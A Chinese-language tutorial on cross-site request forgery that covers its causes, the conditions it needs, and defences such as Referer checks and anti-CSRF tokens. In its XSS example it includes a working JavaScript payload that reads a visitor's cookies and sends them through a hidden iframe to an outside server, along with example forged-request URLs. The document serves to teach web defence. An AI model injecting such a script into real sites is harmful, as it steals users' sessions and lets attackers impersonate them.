0x01 概念
CSRF:跨站请求伪造,发送给服务器恶意人员伪造的用户请求。导致服务器误认为是用户的行为,执行一些关键处理,比如删除,修改,转账等。
CSRF的实现方式:
-
例如:一个blog网站有一个删除帖子的功能,对应的URL为blog.com/bbs/delete_article.php?id=“X",只要给用户发送该链接,并诱使用户点击该链接,就可以触发这个攻击(这里我们可看到URL中删除是通过GET请求实现的,如果是POST该方式就不一定可行)。
-
结合XSS实现CSRF,例如我们在一个blog网站中发布了如下脚本
// 用 <script type="text/javascript"></script> 包起来放在评论中 (function(window, document) { // 构造泄露信息用的 URL var cookies = document.cookie; var xssURIBase = "http://192.168.123.123/myxss/"; var xssURI = xssURIBase + window.encodeURI(cookies); // 建立隐藏 iframe 用于通讯 var hideFrame = document.createElement("iframe"); hideFrame.height = 0; hideFrame.width = 0; hideFrame.style.display = "none"; hideFrame.src = xssURI; // 开工 document.body.appendChild(hideFrame); })(window, document);
iframe的src就是向src对应的url发送请求,所以如果一个用户访问了该网站就会自动的向恶意的服务器发送请求,恶意服务器可以通过httpserver 日志记录用户的cookie,从而伪装成用户进行登录。因为拿到了用户的cookie,也可以在恶意web服务器上伪造用户的请求,修改一些数据或者进行转账等等恶意操作。
0x02 CSRF产生条件:
-
使用GET处理关键操作。如使用GET请求,处理增删改等操作。
-
仅使用Cooklie进行会话管理的网站
-
仅依靠HTTP认证,SSL客户端证书,手机的移动ID来识别用户的网站
以上几种情况,还需要用户的参与,即用户需要点击恶意链接或者浏览恶意网站
0x03 CSRF产生的原因是基于web应用的如下两个特性:
- form元素的action属性能够指定任意域名的URL。
- 保存在Cookie中的会话ID会被自动发送给对象网站。
0x04 当前防御CSRF的几种策略:
- 验证HTTP Referer字段。
- 在请求中添加token字段。
- 在http头中自定义属性并验证。
验证HTTP referer字段:
http referer字段,记录了该请求的来源,是从那些URL发送过来的请求,比如需要访问 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory,用户必须先登录bank.example,然后通过点击页面上的按钮来触发转账事件。这时转账请求的referer字段就是转账按钮所在的页面url,通常是bank.example域名开头的。
黑客必须通过自己的网站构造请求,诱使用户点击或者访问,那么该请求的来源就是黑客的网站URL,那么通过检查referer字段就可以防御这种攻击。
通过验证referer字段的方法防御CSRF简单粗暴,但也不是所有场景都适用的,因为有些浏览器本身的漏洞使用户可以修改referer的值,这样即使通过验证,也不能保证就是用户发送的请求。另外,有一些完整不要求用户提供referer这样也无法通过验证referer来防御CSRF攻击。
在请求地址中添加token并验证:
CSRF攻击之所以会成功,是因为黑客可以完全伪造用户的请求,该请求中所有用户的验证信息都存在于cookie中,因此用户在不知道cookie信息的情况下,使用用户自己的cookie来通过安全验证,这个就是CSRF产生原因(2)导致的,cookie会自动发送给对象网站。因此我们有一种信息黑客不能获取同时不存在与cookie中,在用户提交时他会发送,但是该信息不会自动发送到HTTP请求中。在服务器端通过验证该token与服务器session中保存的token是否一致来判断是否是用户自己发送的请求。
在HTTP头中自定义属性并验证:
这种方式也是使用token进行验证,和上一种方法不同是并不是把token以参数的形式发送给服务器,而是把他放到了HTTP头部属性中。通过XMLHttpRequest这个类,可以一次性给该类的所有请求都加上csrftoken这个属性。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。
这种方式局限性非常大,XMLHttpRequest请求只能Ajax方法中,并非所有页面都适用。对于没有CSRF防护的系统,所有请求都要修改为XMLHttpRequest请求,这样代价是无法接受的。
0x05 参考:
https://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/index.html
https://segmentfault.com/a/1190000007059639
https://segmentfault.com/a/1190000004623125
https://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html